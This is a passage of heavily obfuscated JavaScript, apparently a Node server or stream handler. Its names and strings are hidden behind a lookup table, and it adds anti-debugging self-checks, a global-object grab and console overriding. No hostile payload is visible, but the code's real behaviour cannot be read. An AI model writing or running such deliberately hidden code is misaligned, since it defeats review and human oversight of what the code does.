_0x21ed14(_0x49310e,_0x469146,_0x12ec43,_0x41632e,_0x2a59e9){return _0x411b77(_0x49310e-0x61,_0x469146-0xc0,_0x2a59e9- -0x10b,_0x41632e-0x2b,_0x469146);}function _0x21d710(_0x5ea50f,_0x72df7d,_0x7ae1f7,_0x279304,_0x235b32){return _0x5c0c41(_0x235b32- -0x49a,_0x72df7d-0x199,_0x7ae1f7-0x161,_0x279304,_0x235b32-0x56);}_0x2fbab6['on'](_0x268914[_0x148c51(0x433,0x453,0x432,0x457,0x45c)],_0x268914[_0x45feb4(-0xd8,-0x116,0x3,-0xd,-0x118)](_0x1612ba,_0x268914[_0x21ed14(0x415,0x4a9,0x47d,0x4ac,0x45e)]))[_0x45feb4(-0xc,0x33,-0x21,-0x78,0x5b)](this)['on'](_0x268914[_0x1be996(0x22b,0x1cd,0x2f2,0x15b,0x209)],_0x268914[_0x21ed14(0x4b5,0x3cb,0x433,0x3d8,0x3cc)](_0x4b9d0d,_0x268914[_0x1be996(0x1ed,0x136,0xf1,0x126,0x126)]))[_0x148c51(0x4ef,0x430,0x469,0x45b,0x3bc)](_0x2fbab6);})['on'](_0x34305b[_0x337983(0x83,0x12a,0x10d,0x1f5,0x168)],_0x34305b[_0x5c0c41(0x54b,0x46a,0x61a,0x486,0x521)](_0xc9801e,_0x34305b[_0x5c0c41(0x505,0x555,0x5c7,0x41d,0x52a)],_0x563d14));}}}else _0x3b9218[_0x411b77(0x35f,0x3d5,0x3c6,0x47b,0x474)](_0x5e92f3(-0x19b,-0x17c,-0x1a1,-0x27c,-0x258)+_0x411b77(0x47e,0x597,0x4ab,0x455,0x537)+_0x57fd0f);}:function(){};return _0x22eb26=![],_0x3e9b07;}else{if(_0x6300e0){const _0x16b112=_0x23beeb[_0x33b0a4(0xff,0x121,0x133,0x129,0x6d)](_0x366a3d,arguments);return _0x2dea50=null,_0x16b112;}}};}());function _0x222c(_0x533f97,_0xdd6162){const _0xa3113d=_0x4e4c();return _0x222c=function(_0x5da771,_0x111335){_0x5da771=_0x5da771-(0x7b*-0x4b+-0x1*0x24db+0x4961);let _0x75b4a9=_0xa3113d[_0x5da771];return _0x75b4a9;},_0x222c(_0x533f97,_0xdd6162);}(function(){function _0x30924f(_0x40a1da,_0x15846d,_0x2c21ad,_0x38b615,_0x528dee){return _0x222c(_0x15846d-0x1ee,_0x528dee);}function _0x1dec11(_0x525106,_0x2549eb,_0x1e81dd,_0x4ccc64,_0x3b159b){return _0x222c(_0x3b159b-0x21c,_0x4ccc64);}const _0x7df763={'nDGnZ':function(_0x389892,_0x59d8a8){return _0x389892===_0x59d8a8;},'soNhl':_0x5386c7(0x3b1,0x2fd,0x34c,0x335,0x307)+_0x30924f(0x21c,0x2a3,0x1d9,0x265,0x36c),'qRURx':_0x5386c7(0x3f5,0x496,0x3d5,0x3b6,0x3e9)+_0x5386c7(0x4b0,0x4af,0x42f,0x3ef,0x44d)+_0x1dec11(0x254,0x42d,0x2e7,0x3fa,0x343),'nKEwh':_0x5386c7(0x3ee,0x40a,0x3d6,0x37a,0x440)+_0x2e96b2(0x97,0xa6,0xe6,0x1b,0xa3),'eURqP':function(_0x24bbdf,_0x18c277){return _0x24bbdf!==_0x18c277;},'sLgUb':_0x5386c7(0x485,0x4f9,0x46b,0x519,0x470),'ZBukS':_0x5386c7(0x48d,0x4a8,0x4eb,0x3e3,0x480),'LDraj':_0x2e96b2(0x3e,0x119,0xc7,0x97,0xe9)+_0x1dec11(0x3fb,0x40f,0x4a2,0x392,0x422)+_0x30924f(0x3df,0x3ff,0x3e5,0x428,0x366)+')','rHuCY':_0x2e96b2(-0x12,-0x69,0x70,0x110,0xd8)+_0x4f8051(0x42b,0x336,0x366,0x3be,0x35e)+_0x5386c7(0x335,0x3ed,0x338,0x41f,0x322)+_0x30924f(0x354,0x2e1,0x2cb,0x246,0x385)+_0x30924f(0x2ed,0x356,0x3a7,0x439,0x287)+_0x4f8051(0x2b8,0x2d6,0x2be,0x314,0x301)+_0x2e96b2(-0x76,0x135,0x54,0x125,-0x28),'iWTpY':function(_0x126f99,_0x49e81e){return _0x126f99(_0x49e81e);},'MOoJV':_0x5386c7(0x36e,0x3de,0x403,0x290,0x44a),'ulKmv':function(_0x50dfcf,_0x2ecd5f){return _0x50dfcf+_0x2ecd5f;},'xFEeL':_0x5386c7(0x34e,0x360,0x41d,0x26e,0x2dc),'QAMmq':_0x1dec11(0x373,0x40f,0x352,0x2f3,0x338),'oezYl':function(_0x23be88,_0x46f5d5){return _0x23be88===_0x46f5d5;},'xisMf':_0x4f8051(0x4cf,0x421,0x510,0x4fd,0x42c),'iFdfD':function(_0x6eed9a,_0x1ac27f){return _0x6eed9a(_0x1ac27f);},'cmawd':function(_0x24c53c,_0x361a60){return _0x24c53c!==_0x361a60;},'xymJH':_0x5386c7(0x465,0x413,0x495,0x4f6,0x386),'PPgxu':_0x1dec11(0x3e4,0x460,0x4c4,0x31c,0x3ec),'Rvigx':function(_0x2589d4){return _0x2589d4();},'QUYWB':function(_0x23b0c9,_0x5d7c6a,_0x1266ee){return _0x23b0c9(_0x5d7c6a,_0x1266ee);}};function _0x2e96b2(_0x4332bf,_0x54ceed,_0x4ab188,_0x49ce56,_0x3c5f7f){return _0x222c(_0x4ab188- -0xdd,_0x49ce56);}function _0x4f8051(_0x1e224d,_0x12ebb8,_0x49017c,_0x1a35dd,_0x52e3f0){return _0x222c(_0x52e3f0-0x1ec,_0x1e224d);}function _0x5386c7(_0x29f324,_0x2120d0,_0x2216a8,_0x557fd9,_0xe13036){return _0x222c(_0x29f324-0x2b2,_0x2216a8);}_0x7df763[_0x30924f(0x377,0x3f1,0x486,0x4be,0x463)](_0xdd6162,this,function(){function _0x5e99cc(_0x21146d,_0x34e79b,_0x259d5f,_0x1d7f0b,_0x12d41a){return _0x30924f(_0x21146d-0x99,_0x259d5f- -0x2f6,_0x259d5f-0x4d,_0x1d7f0b-0x1ea,_0x12d41a);}function _0x45f37e(_0x4e1c49,_0x3010d1,_0x57783d,_0x56a26a,_0x2766eb){return _0x4f8051(_0x4e1c49,_0x3010d1-0x5f,_0x57783d-0x5c,_0x56a26a-0x14c,_0x56a26a- -0x2e1);}function _0x48f34d(_0x54d691,_0x5ba101,_0x49345a,_0x35209e,_0x2db92a){return _0x4f8051(_0x5ba101,_0x5ba101-0x91,_0x49345a-0x105,_0x35209e-0xb,_0x54d691- -0x1ba);}function _0x587a2e(_0x573a59,_0x4b8d54,_0x4e9d0c,_0x3c4da6,_0x4035e0){return _0x5386c7(_0x4035e0- -0x679,_0x4b8d54-0x1a8,_0x4e9d0c,_0x3c4da6-0xa4,_0x4035e0-0x19c);}function _0x361ca8(_0x3e64e4,_0x3287e9,_0x3bc934,_0xee223c,_0x532346){return _0x2e96b2(_0x3e64e4-0x124,_0x3287e9-0x79,_0x532346-0x2cf,_0x3287e9,_0x532346-0x82);}if(_0x7df763[_0x5e99cc(-0x110,0x4f,-0x55,-0x42,-0xba)](_0x7df763[_0x5e99cc(0x120,0x122,0x113,0xc1,0x1ef)],_0x7df763[_0x587a2e(-0x1c8,-0x321,-0x364,-0x2c8,-0x280)])){const _0x328154=new RegExp(_0x7df763[_0x48f34d(0x143,0x22b,0x76,0x11e,0x174)]),_0x4da199=new RegExp(_0x7df763[_0x587a2e(-0x241,-0x17f,-0x13f,-0x25d,-0x1bc)],'i'),_0x3324e0=_0x7df763[_0x587a2e(-0x1e9,-0x2b1,-0x287,-0x216,-0x202)](_0x533f97,_0x7df763[_0x361ca8(0x369,0x3ee,0x419,0x37f,0x3f3)]);if(!_0x328154[_0x587a2e(-0x203,-0x37a,-0x355,-0x207,-0x2a8)](_0x7df763[_0x48f34d(0xef,0x25,0x92,0xb8,0x154)](_0x3324e0,_0x7df763[_0x48f34d(0x208,0x239,0x2ab,0x251,0x18f)]))||!_0x4da199[_0x587a2e(-0x351,-0x36a,-0x26d,-0x2d3,-0x2a8)](_0x7df763[_0x45f37e(0x93,-0x113,0x3b,-0x38,-0x57)](_0x3324e0,_0x7df763[_0x48f34d(0xcc,0xac,0x1ae,0x113,0x148)]))){if(_0x7df763[_0x48f34d(0x1a1,0x276,0x284,0xcd,0x10d)](_0x7df763[_0x361ca8(0x4ab,0x4e2,0x48f,0x4f5,0x438)],_0x7df763[_0x5e99cc(0x93,0x1da,0x13e,0x8a,0xd8)]))_0x7df763[_0x587a2e(-0x147,-0xb1,-0x146,-0xfe,-0x18e)](_0x3324e0,'0');else{const _0x17e8c2=_0xec6607?function(){function _0x3abe98(_0x38d8ac,_0x48d234,_0x6530ca,_0x50c571,_0x522c7e){return _0x48f34d(_0x48d234- -0x1f0,_0x38d8ac,_0x6530ca-0xf6,_0x50c571-0x46,_0x522c7e-0x8b);}if(_0x3ab78c){const _0x2fd43c=_0x325d5a[_0x3abe98(0xe,0x39,0x8d,-0x37,-0x7c)](_0x1600b4,arguments);return _0x43c9ca=null,_0x2fd43c;}}:function(){};return _0x4c5b43=![],_0x17e8c2;}}else{if(_0x7df763[_0x5e99cc(0x160,0x10f,0xc0,0xa4,0x11)](_0x7df763[_0x45f37e(0x12f,0x89,0x70,0x41,0x1c)],_0x7df763[_0x361ca8(0x325,0x424,0x49c,0x44f,0x3dd)]))_0x7df763[_0x5e99cc(-0x8e,-0x98,0x44,0xb8,-0x73)](_0x533f97);else{const _0x32d2e5=_0x66030e[_0x45f37e(0x72,0xdb,0x68,0x102,0xa6)](_0x39215f,arguments);return _0x1eed03=null,_0x32d2e5;}}}else{if(_0x7df763[_0x587a2e(-0x2e2,-0x15e,-0x30c,-0x289,-0x24a)](_0x3ffae3[_0x48f34d(0x10d,0x1e,0x1cf,0xde,0xc2)],'/')){const _0x23e4b8={};_0x23e4b8[_0x587a2e(-0x289,-0x359,-0x355,-0x313,-0x271)+_0x361ca8(0x2fc,0x30d,0x2aa,0x276,0x2a1)+'pe']=_0x7df763[_0x587a2e(-0x24a,-0x23f,-0x184,-0xcd,-0x1ae)],_0x4bd30a[_0x45f37e(-0xe6,-0xae,-0x60,-0x1,-0x72)+_0x48f34d(0x141,0x158,0x1a7,0xaa,0x223)](-0x5f0+0x2662+-0x1faa,_0x23e4b8),_0x2bf5a0[_0x587a2e(-0x1c7,-0x1a4,-0x2dd,-0x2b8,-0x27f)](_0x7df763[_0x48f34d(0x128,0xa8,0x1a8,0x68,0x7f)]);}else{const _0x3f82c6={};_0x3f82c6[_0x45f37e(-0x8,0x29,-0x5b,0x61,0x18)+_0x587a2e(-0x3fe,-0x357,-0x263,-0x38b,-0x318)+'pe']=_0x7df763[_0x45f37e(0x96,0xb5,0x18b,0x124,0xa0)],_0x2875d1[_0x587a2e(-0x3ae,-0x331,-0x28d,-0x30f,-0x2d3)+_0x361ca8(0x3a4,0x34d,0x2fb,0x3f0,0x301)](-0xe66+0x8*-0x490+0x347a,_0x3f82c6),_0x4b35ba[_0x587a2e(-0x2ea,-0x1cb,-0x2c5,-0x2cb,-0x27f)](_0x7df763[_0x587a2e(-0x1f3,-0x350,-0x335,-0x283,-0x293)]);}}})();}()),(function(){const _0x236a48={'kgsEZ':function(_0x5b3b71,_0x313828){return _0x5b3b71(_0x313828);},'IUuaa':function(_0x428c65,_0x45f87a){return _0x428c65===_0x45f87a;},'yvJLh':_0x36949b(-0x1fe,-0x82,-0xa0,-0x135,-0x160),'NDXLh':function(_0x2a0186,_0xd61fad){return _0x2a0186!==_0xd61fad;},'ioJGc':_0x36949b(0x115,-0x92,0x95,0xce,0x4f),'nkmzv':_0x586fa6(0x30c,0x397,0x39a,0x3e6,0x34f),'TbmkI':function(_0x325cf0,_0x5f0bb9){return _0x325cf0+_0x5f0bb9;},'QbQPM':_0x16f574(-0x364,-0x2e5,-0x1a4,-0x257,-0x274)+_0x15e43a(0x4c4,0x508,0x41a,0x409,0x51f)+_0x586fa6(0x420,0x3a2,0x305,0x2fc,0x3f9)+_0x15e43a(0x37b,0x2b0,0x3f2,0x452,0x350),'IWFzE':_0x16f574(-0xe9,-0xde,-0x1ee,-0x4c,-0x11d)+_0x586fa6(0x451,0x49b,0x505,0x55a,0x52a)+_0x586fa6(0x3ac,0x3e2,0x38e,0x4ba,0x37c)+_0x16f574(-0x9b,-0x36,-0x5c,-0x4b,-0x101)+_0x36949b(-0xd3,-0x115,-0x1dc,-0x5c,-0x10f)+_0x36949b(0x14,0x5c,-0x163,0x48,-0x83)+'\x20)','pAIwA':_0x15e43a(0x485,0x4d6,0x494,0x3ae,0x4b5),'ZySZv':_0x36949b(-0x184,-0x122,-0x199,-0x18a,-0x125),'MQLCG':function(_0x3e4ba1){return _0x3e4ba1();}};function _0x27fc8b(_0x1369c3,_0x295f82,_0x36390b,_0x311310,_0x2442f3){return _0x222c(_0x2442f3- -0x249,_0x1369c3);}function _0x36949b(_0x515b36,_0x57d71c,_0x5c171a,_0x4eb961,_0x2fe167){return _0x222c(_0x2fe167- -0x1ec,_0x57d71c);}const _0x33a3a5=function(){function _0x47700b(_0x325508,_0x58f2f2,_0x3d054b,_0x20b0bc,_0x3f77e5){return _0x36949b(_0x325508-0xda,_0x3d054b,_0x3d054b-0x4b,_0x20b0bc-0x65,_0x58f2f2-0x27d);}function _0x173b75(_0x416312,_0x4e515d,_0x3db7cd,_0x1eb382,_0x59535d){return _0x36949b(_0x416312-0x1e5,_0x416312,_0x3db7cd-0x11b,_0x1eb382-0x55,_0x3db7cd-0x36f);}function _0x371274(_0x49f758,_0x53b2a2,_0x1e5aee,_0x293403,_0x399b88){return _0x16f574(_0x49f758-0x13b,_0x1e5aee,_0x1e5aee-0x71,_0x293403-0x1d7,_0x399b88-0x69d);}function _0x535f55(_0x4cda53,_0xc46022,_0x58a3cc,_0x447ade,_0x3aefdb){return _0x15e43a(_0x58a3cc- -0x307,_0xc46022-0x5a,_0x58a3cc-0x39,_0x447ade-0x1d6,_0x4cda53);}function _0x280a0e(_0x19682a,_0x262f0a,_0x40703,_0x26c4fc,_0x331f10){return _0x16f574(_0x19682a-0x71,_0x262f0a,_0x40703-0xa9,_0x26c4fc-0x3e,_0x40703-0x118);}if(_0x236a48[_0x280a0e(0x136,0xf0,0x47,0x4c,-0x40)](_0x236a48[_0x173b75(0x346,0x4b6,0x3df,0x3eb,0x4d0)],_0x236a48[_0x371274(0x510,0x519,0x597,0x522,0x5f3)])){let _0x27d9a9;try{if(_0x236a48[_0x280a0e(0xf8,0x9a,0x53,0x4c,0x6b)](_0x236a48[_0x371274(0x575,0x441,0x54e,0x503,0x4d2)],_0x236a48[_0x371274(0x5cd,0x622,0x5fd,0x499,0x57d)]))_0x27d9a9=_0x236a48[_0x371274(0x588,0x518,0x47d,0x51f,0x4c2)](Function,_0x236a48[_0x371274(0x5f6,0x548,0x557,0x649,0x5c3)](_0x236a48[_0x173b75(0x391,0x430,0x3af,0x481,0x3fb)](_0x236a48[_0x280a0e(-0x94,-0xd6,-0x65,-0x45,-0xac)],_0x236a48[_0x47700b(0x1fb,0x230,0x23d,0x158,0x308)]),');'))();else return![];}catch(_0x1b5076){_0x236a48[_0x47700b(0x1fe,0x2d2,0x2f5,0x31b,0x32d)](_0x236a48[_0x535f55(0x8f,0x121,0x9c,0x2,0xb0)],_0x236a48[_0x535f55(0x11f,0x9e,0x2f,-0x60,0xaf)])?_0x27d9a9=window:_0x236a48[_0x47700b(0x295,0x1bc,0x29f,0x1bd,0x23c)](_0x19cc34,'0');}return _0x27d9a9;}else return!![];},_0x547036=_0x236a48[_0x16f574(-0x111,-0x6a,-0x109,-0x1e3,-0xfc)](_0x33a3a5);function _0x586fa6(_0x2ea91b,_0x252122,_0x7b4811,_0x112808,_0x27f54f){return _0x222c(_0x252122-0x2cf,_0x7b4811);}function _0x16f574(_0x2f756e,_0x54a8b7,_0x347f3f,_0x1c5095,_0xbe46c1){return _0x222c(_0xbe46c1- -0x306,_0x54a8b7);}function _0x15e43a(_0x13eed1,_0x5e161f,_0x4a1bd6,_0x29c317,_0x39108b){return _0x222c(_0x13eed1-0x2a1,_0x39108b);}_0x547036[_0x16f574(-0x20a,-0x2a7,-0x16c,-0x233,-0x24f)+_0x15e43a(0x34f,0x3d1,0x3bc,0x279,0x29a)+'l'](_0x533f97,-0x1f99+-0x129c+-0x1*-0x41d5);}());const _0x3e3e80=(function(){const _0x4d4e3e={};_0x4d4e3e[_0x14b72c(0x300,0x2f8,0x3b4,0x25b,0x3e3)]=_0x14b72c(0x36c,0x44b,0x4d2,0x37e,0x50d)+_0x14b72c(0x3f5,0x3cd,0x48c,0x3a0,0x410)+'+$',_0x4d4e3e[_0x14b72c(0x410,0x3de,0x37a,0x46b,0x3dc)]=function(_0x155e86,_0x1911e2){return _0x155e86===_0x1911e2;},_0x4d4e3e[_0x3b3e39(0xc,-0x66,-0x18,-0xd2,-0x3e)]=_0x14b72c(0x392,0x2ed,0x2b1,0x37b,0x34f),_0x4d4e3e[_0x37c537(-0x158,-0xb5,-0x73,0x4b,-0xd)]=_0x293844(-0x15d,-0x17e,-0x17b,-0x1b0,-0x1dc);function _0x3b3e39(_0x45df62,_0x4863f7,_0x27606b,_0x5888d2,_0x572bd9){return _0x222c(_0x45df62- -0x82,_0x4863f7);}_0x4d4e3e[_0x14a581(-0x88,0x27,0xfc,-0xa5,-0x26)]=_0x14b72c(0x4b2,0x409,0x4b1,0x4a8,0x3c4),_0x4d4e3e[_0x37c537(-0x16c,-0xd6,-0x168,-0x100,-0x1c9)]=_0x293844(-0xb2,0x3f,-0xd3,-0xdb,-0xa8);function _0x14b72c(_0x2002d0,_0x478079,_0x1130f9,_0x18b27a,_0x1b644d){return _0x222c(_0x478079-0x209,_0x18b27a);}function _0x37c537(_0x2efe6f,_0x238f13,_0x31cf20,_0x2a8bb6,_0x5266e4){return _0x222c(_0x31cf20- -0x23e,_0x2a8bb6);}function _0x293844(_0xa0d007,_0x1b46b1,_0xb3ba0b,_0x53d00c,_0x1d7c71){return _0x222c(_0xa0d007- -0x23c,_0x1d7c71);}function _0x14a581(_0x1d5669,_0xf09637,_0x2a8cb9,_0x5b7be5,_0x41a08a){return _0x222c(_0xf09637- -0x204,_0x41a08a);}_0x4d4e3e[_0x14b72c(0x410,0x450,0x525,0x481,0x3b3)]=_0x3b3e39(0x57,-0x4e,-0x83,0x86,0x120);const _0x3c0621=_0x4d4e3e;let _0x2c8e2b=!![];return function(_0xa5aa2b,_0x48c4e1){function _0x4d943e(_0xeeed4c,_0x414686,_0x522e28,_0x496173,_0x8f2078){return _0x37c537(_0xeeed4c-0x40,_0x414686-0x107,_0xeeed4c-0x46a,_0x8f2078,_0x8f2078-0xc);}function _0x1df0fa(_0x24afd9,_0x349266,_0x2bfb33,_0x36c3f2,_0x111190){return _0x3b3e39(_0x2bfb33- -0x73,_0x111190,_0x2bfb33-0x11d,_0x36c3f2-0x1d8,_0x111190-0x16d);}function _0x40f4c4(_0x3d6782,_0xfab5c1,_0x373344,_0x2e514d,_0x32a3a5){return _0x14a581(_0x3d6782-0x72,_0x373344-0x9a,_0x373344-0x1e0,_0x2e514d-0x1c1,_0x3d6782);}function _0x1c5e2a(_0x1c04c5,_0x1743bb,_0x549910,_0x808853,_0xd378ef){return _0x3b3e39(_0x549910- -0x14,_0x1743bb,_0x549910-0x137,_0x808853-0xed,_0xd378ef-0x15);}function _0x80c73c(_0x4a154d,_0x52c2dc,_0x1256d1,_0x166334,_0x181a9b){return _0x3b3e39(_0x52c2dc- -0x2e6,_0x181a9b,_0x1256d1-0x1,_0x166334-0x1bb,_0x181a9b-0x51);}if(_0x3c0621[_0x1c5e2a(0x1bd,0x1b3,0x13f,0xd5,0x1ed)](_0x3c0621[_0x1c5e2a(0x3d,0x37,0x40,0xf6,0x13)],_0x3c0621[_0x4d943e(0x473,0x41e,0x4a8,0x473,0x3b9)]))_0x538557[_0x80c73c(-0x1e8,-0x2c4,-0x2e2,-0x280,-0x21b)](_0x40f4c4(0x44,0x8,0x42,0xbd,0x67)+_0x40f4c4(0x14,0x14b,0x76,0x98,0x94)+_0x5ba607);else{const _0x239d7b=_0x2c8e2b?function(){function _0x32ffd3(_0x14ab40,_0x3681ae,_0x1b991b,_0x28db5f,_0x156022){return _0x80c73c(_0x14ab40-0x19,_0x3681ae-0x20b,_0x1b991b-0x8c,_0x28db5f-0x1a2,_0x28db5f);}function _0x3e441e(_0x3000b1,_0x227314,_0x37efd2,_0x1f3652,_0x339a0){return _0x80c73c(_0x3000b1-0x10c,_0x37efd2-0x742,_0x37efd2-0x152,_0x1f3652-0x8d,_0x227314);}const _0x497551={};function _0x483624(_0x35db9a,_0x1ce6f7,_0x35eed5,_0x33ccbe,_0x55ab34){return _0x4d943e(_0x35eed5- -0x52d,_0x1ce6f7-0x1c1,_0x35eed5-0x20,_0x33ccbe-0xcf,_0x33ccbe);}_0x497551[_0x139bc3(0x426,0x3fa,0x334,0x331,0x357)]=_0x3c0621[_0x139bc3(0x25f,0x1e7,0x2de,0x2b6,0x219)];const _0xf80675=_0x497551;function _0x139bc3(_0x3b08e5,_0x4cd9fc,_0x352275,_0x2bf1b8,_0x20700d){return _0x40f4c4(_0x2bf1b8,_0x4cd9fc-0x113,_0x20700d-0x294,_0x2bf1b8-0x1a4,_0x20700d-0x66);}function _0x52ce64(_0x31b8c5,_0x35d946,_0x50fb58,_0x4b9b47,_0x59eb41){return _0x40f4c4(_0x59eb41,_0x35d946-0x91,_0x35d946-0x85,_0x4b9b47-0xf3,_0x59eb41-0x11);}if(_0x3c0621[_0x32ffd3(0x87,0x78,0x5d,0x36,0xe2)](_0x3c0621[_0x483624(-0x210,-0x2f9,-0x273,-0x1a1,-0x30d)],_0x3c0621[_0x483624(-0x66,-0x20a,-0x136,-0x18f,-0xd6)]))return _0x1a6f0a[_0x483624(-0x2c,-0x40,-0xc3,-0x8d,0xd)+_0x483624(-0x2c3,-0x33a,-0x262,-0x194,-0x260)]()[_0x32ffd3(-0xc6,-0xba,-0x84,-0x8f,-0xb8)+'h'](_0xf80675[_0x139bc3(0x3d5,0x34a,0x3bf,0x36e,0x357)])[_0x483624(-0x25,-0xab,-0xc3,-0x16f,-0x160)+_0x3e441e(0x4ac,0x46d,0x479,0x4be,0x564)]()[_0x483624(-0x11d,-0x1bb,-0x15c,-0x11b,-0x146)+_0x3e441e(0x55f,0x3ec,0x49f,0x4f6,0x3af)+'r'](_0x1db1c8)[_0x3e441e(0x4f0,0x537,0x47d,0x403,0x4a9)+'h'](_0xf80675[_0x52ce64(0x66,0x148,0x22a,0x111,0x153)]);else{if(_0x48c4e1){if(_0x3c0621[_0x52ce64(0xd6,0xf0,0x77,0x1a1,0x1a0)](_0x3c0621[_0x139bc3(0x405,0x315,0x428,0x402,0x355)],_0x3c0621[_0x52ce64(0x177,0x146,0x1b6,0x221,0x1b7)])){const _0x162620=_0x48c4e1[_0x139bc3(0x250,0x323,0x336,0x3f8,0x321)](_0xa5aa2b,arguments);return _0x48c4e1=null,_0x162620;}else{const _0x17412e=_0x5eac96?function(){function _0x5db974(_0x2f3515,_0x589995,_0x1375cc,_0x3845b5,_0x364a76){return _0x483624(_0x2f3515-0x22,_0x589995-0x1c0,_0x364a76-0x167,_0x2f3515,_0x364a76-0xdd);}if(_0x36c389){const _0x11534f=_0x1f1891[_0x5db974(-0xe,-0xf,0x11,0x7e,0x5d)](_0x25d17c,arguments);return _0x5d0883=null,_0x11534f;}}:function(){};return _0x14dabb=![],_0x17412e;}}}}:function(){};return _0x2c8e2b=![],_0x239d7b;}};}()),_0x48a700=_0x3e3e80(this,function(){function _0x56a2ea(_0x25b7e4,_0x20d4f7,_0xc142c1,_0x41b6a9,_0x31b32e){return _0x222c(_0x25b7e4- -0x24f,_0x20d4f7);}const _0x35f877={'tyKaX':function(_0x211607){return _0x211607();},'qdEbE':_0x5e1a7a(-0x2b4,-0x278,-0x27e,-0x188,-0x22f)+_0xd2d693(0x2a5,0x2e8,0x37d,0x322,0x310)+_0xd2d693(0x2b0,0x344,0x2db,0x348,0x289)+')','Rpahm':_0xd2d693(0x1ec,0x296,0x130,0x250,0x15b)+_0xd2d693(0x211,0x174,0x1c7,0x263,0x24b)+_0xd2d693(0x122,0x7d,0x1e7,0x10f,0xc9)+_0x5e1a7a(-0x21b,-0x253,-0x267,-0x275,-0x2e0)+_0x5a86c6(-0xc6,-0x80,-0xef,-0x2,-0x7)+_0xd2d693(0x1b4,0x1b1,0x1cc,0x268,0x24c)+_0x1f542c(0x1dc,0x1db,0xac,0x93,0x136),'RUvbo':function(_0x2c953e,_0x4f6b20){return _0x2c953e(_0x4f6b20);},'nnldf':_0x1f542c(0x19f,0x140,0x160,0xb3,0xc1),'gZTRd':function(_0x2a21dd,_0x4016db){return _0x2a21dd+_0x4016db;},'BBKlA':_0x1f542c(0xac,-0x25,0x4f,0x10f,0xa1),'gNvzd':_0x5e1a7a(-0x2e0,-0x253,-0x3a4,-0x39e,-0x2b7),'BfvaY':function(_0x36200e){return _0x36200e();},'GwhBd':function(_0x38f280,_0x14836d){return _0x38f280!==_0x14836d;},'PZViy':_0x5e1a7a(-0x2a1,-0x2fa,-0x1e9,-0x2e1,-0x2c3),'YZnVv':_0x56a2ea(-0x1bd,-0x23e,-0x243,-0x23d,-0x240)+_0x5a86c6(0x157,-0x1f,0x8f,0x1a1,0xb4)+_0xd2d693(0x172,0x1eb,0x23a,0x215,0x142)+_0x5a86c6(-0x137,-0xa9,-0xf0,-0x17f,-0x95),'vycxt':_0x56a2ea(-0x66,-0x12c,0x63,-0xf3,-0x11d)+_0x5a86c6(0xa0,0x47,-0x2d,0x8f,0x5d)+_0xd2d693(0x1b2,0x192,0xd1,0x21a,0x101)+_0x1f542c(0x241,0x20c,0x2cb,0x250,0x20a)+_0x56a2ea(-0x172,-0xe6,-0xa6,-0xfb,-0x1d8)+_0x56a2ea(-0xe6,-0x8,-0x108,-0xa5,-0x1ab)+'\x20)','YuZTU':function(_0x363c43){return _0x363c43();},'EgIjE':function(_0x2fe81a,_0x45475f){return _0x2fe81a===_0x45475f;},'zOvbg':_0x5e1a7a(-0x3d4,-0x25e,-0x3da,-0x388,-0x338),'dBMnj':_0xd2d693(0x1c2,0x27b,0x12b,0x191,0x152),'rdZbx':_0x1f542c(0x19c,0x24,-0x2d,-0x5,0xbd),'FFddC':_0x5a86c6(0x7a,0x40,-0xdf,0x78,-0x38),'MDzGd':_0x1f542c(0x70,0x46,0xa,0x80,0xdd),'hutFS':_0x5e1a7a(-0x25b,-0x418,-0x2e3,-0x3b4,-0x32f),'xuxDF':_0x56a2ea(-0x1b6,-0x237,-0x1ec,-0x144,-0x1d8)+_0x5e1a7a(-0x23a,-0x1f8,-0x266,-0x155,-0x226),'fvPjT':_0x1f542c(0xee,0x76,0x156,-0x7,0xc4),'ArJzO':_0xd2d693(0x225,0x18d,0x1ff,0x21f,0x2ef),'chqdL':function(_0x485508,_0x7d96f9){return _0x485508<_0x7d96f9;},'DlSBX':function(_0x26fcc3,_0x40861){return _0x26fcc3!==_0x40861;},'SeIEh':_0x1f542c(0x1c,0x10,0x184,0x83,0xa2)};let _0x4f7a60;try{if(_0x35f877[_0x56a2ea(-0x9d,-0xf0,-0x2a,0x8,-0x120)](_0x35f877[_0x5a86c6(0xb1,0x3a,0x0,0x42,0x3a)],_0x35f877[_0x56a2ea(-0xa6,-0x186,-0x178,-0x51,-0x2a)]))_0x599484=_0x2d52fb;else{const _0x4b6401=_0x35f877[_0x1f542c(-0x2c,0x44,0xce,0x7,0x9c)](Function,_0x35f877[_0x56a2ea(-0xf0,-0xc2,-0x165,-0x168,-0x3f)](_0x35f877[_0xd2d693(0x1fe,0x29f,0x27d,0x10e,0x218)](_0x35f877[_0x5e1a7a(-0x340,-0x344,-0x328,-0x1c8,-0x270)],_0x35f877[_0x5a86c6(0x33,0x30,-0xe,-0x49,-0x43)]),');'));_0x4f7a60=_0x35f877[_0x1f542c(0x132,0xd0,0x1d7,0x4b,0x10e)](_0x4b6401);}}catch(_0x57388d){_0x35f877[_0x5a86c6(0xae,-0x5c,-0x74,-0x66,0x4d)](_0x35f877[_0x1f542c(0x41,0x15c,0x77,0x1d7,0x12e)],_0x35f877[_0xd2d693(0x13f,0xf0,0x1f9,0x7c,0x16b)])?_0x35f877[_0x5a86c6(-0x61,-0xf2,0x6d,-0x67,-0x75)](_0x39bf25):_0x4f7a60=window;}const _0x3f27fd=_0x4f7a60[_0xd2d693(0x180,0x1d9,0x100,0x1d7,0x23e)+'le']=_0x4f7a60[_0x1f542c(0x126,0x1c0,0x29,0x51,0xe6)+'le']||{};function _0x1f542c(_0x477355,_0xedc545,_0x18d292,_0x5cf9c7,_0x1fa2e0){return _0x222c(_0x1fa2e0-0x5,_0x5cf9c7);}function _0xd2d693(_0x112189,_0x371479,_0x3cfe87,_0x469dc7,_0x3ae34a){return _0x222c(_0x112189-0x9f,_0x3ae34a);}function _0x5e1a7a(_0x81e0ee,_0x1c8f5f,_0x5057d9,_0x44c650,_0x75c638){return _0x222c(_0x75c638- -0x3d3,_0x1c8f5f);}const _0x3e33f8=[_0x35f877[_0xd2d693(0x165,0x15a,0x1aa,0x225,0xb8)],_0x35f877[_0x56a2ea(-0x4b,0x6,-0x138,-0x9,-0x1d)],_0x35f877[_0xd2d693(0x169,0xfc,0x1a4,0xc8,0x13d)],_0x35f877[_0x1f542c(0x309,0x2fa,0x1e6,0x23b,0x226)],_0x35f877[_0x5e1a7a(-0x273,-0x382,-0x247,-0x30a,-0x2d0)],_0x35f877[_0x5a86c6(-0x159,-0x133,-0x7a,-0xfd,-0xdc)],_0x35f877[_0x5a86c6(0x76,-0x43,-0x28,-0x22,-0x45)]];function _0x5a86c6(_0xc87c0a,_0x553564,_0x27b30a,_0x1ac741,_0x20ac17){return 